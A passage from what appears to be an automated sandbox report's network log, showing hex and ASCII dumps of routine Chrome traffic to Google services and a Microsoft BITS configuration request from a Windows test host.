35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-30 01:27:19 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-30 01:27:19 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 33 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700273,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(f
2024-10-30 01:27:19 UTC	597	IN	Data Raw: 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 57 64 28 5c 22 Data Ascii: is.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\"),Wd(\"
2024-10-30 01:27:19 UTC	418	IN	Data Raw: 31 39 62 0d 0a 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 66 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 65 65 29 72 65 74 75 72 6e 20 61 3b 74 72 79 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 63 5c 75 30 30 33 64 5c 75 30 Data Ascii: 19bif(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};fe\u003dfunction(){let a\u003dnull;if(!ee)return a;try{const b\u003dc\u003d\u0
2024-10-30 01:27:19 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 5c 75 30 30 32 36 5c 75 30 30 32 36 28 67 65 5c 75 30 30 33 64 66 65 28 29 29 3b 72 65 74 75 72 6e 20 67 65 7d 3b 5c 6e 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 68 65 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 69 65 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 69 65 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 6c 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6e Data Ascii: 8000\u0026\u0026(ge\u003dfe());return ge};\n_.je\u003dfunction(a){const b\u003d_.he();return new _.ie(b?b.createScriptURL(a):a)};_.ke\u003dfunction(a){if(a instanceof _.ie)return a.i;throw Error(\"F\");};_.me\u003dfunction(a){if(le.test(a))return a};_.n
2024-10-30 01:27:19 UTC	1378	IN	Data Raw: 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 Data Ascii: eof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	142.250.184.196	443	7196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:19 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 01:27:19 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 01:27:19 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 01:27:19 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-30 01:27:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49751	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:23 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 01:27:23 UTC	494	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=41248 Date: Wed, 30 Oct 2024 01:27:23 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49753	142.250.184.206	443	7196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:23 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 01:27:24 UTC	913	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 30 Oct 2024 01:25:02 GMT Expires: Thu, 30 Oct 2025 01:25:02 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 141 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-30 01:27:24 UTC	465	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-30 01:27:24 UTC	1378	IN	Data Raw: 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e Data Ascii: type)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return
2024-10-30 01:27:24 UTC	1378	IN	Data Raw: 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 69 Data Ascii: b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.assi
2024-10-30 01:27:24 UTC	1378	IN	Data Raw: 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a 68 Data Ascii: nction(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:h
2024-10-30 01:27:24 UTC	1378	IN	Data Raw: 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 69 Data Ascii: omise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=functi
2024-10-30 01:27:24 UTC	1378	IN	Data Raw: 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 Data Ascii: ("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(
2024-10-30 01:27:24 UTC	1378	IN	Data Raw: 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 69 Data Ascii: h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return thi
2024-10-30 01:27:24 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e 73 Data Ascii: function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.s
2024-10-30 01:27:24 UTC	1378	IN	Data Raw: 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 Data Ascii: .entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)ret
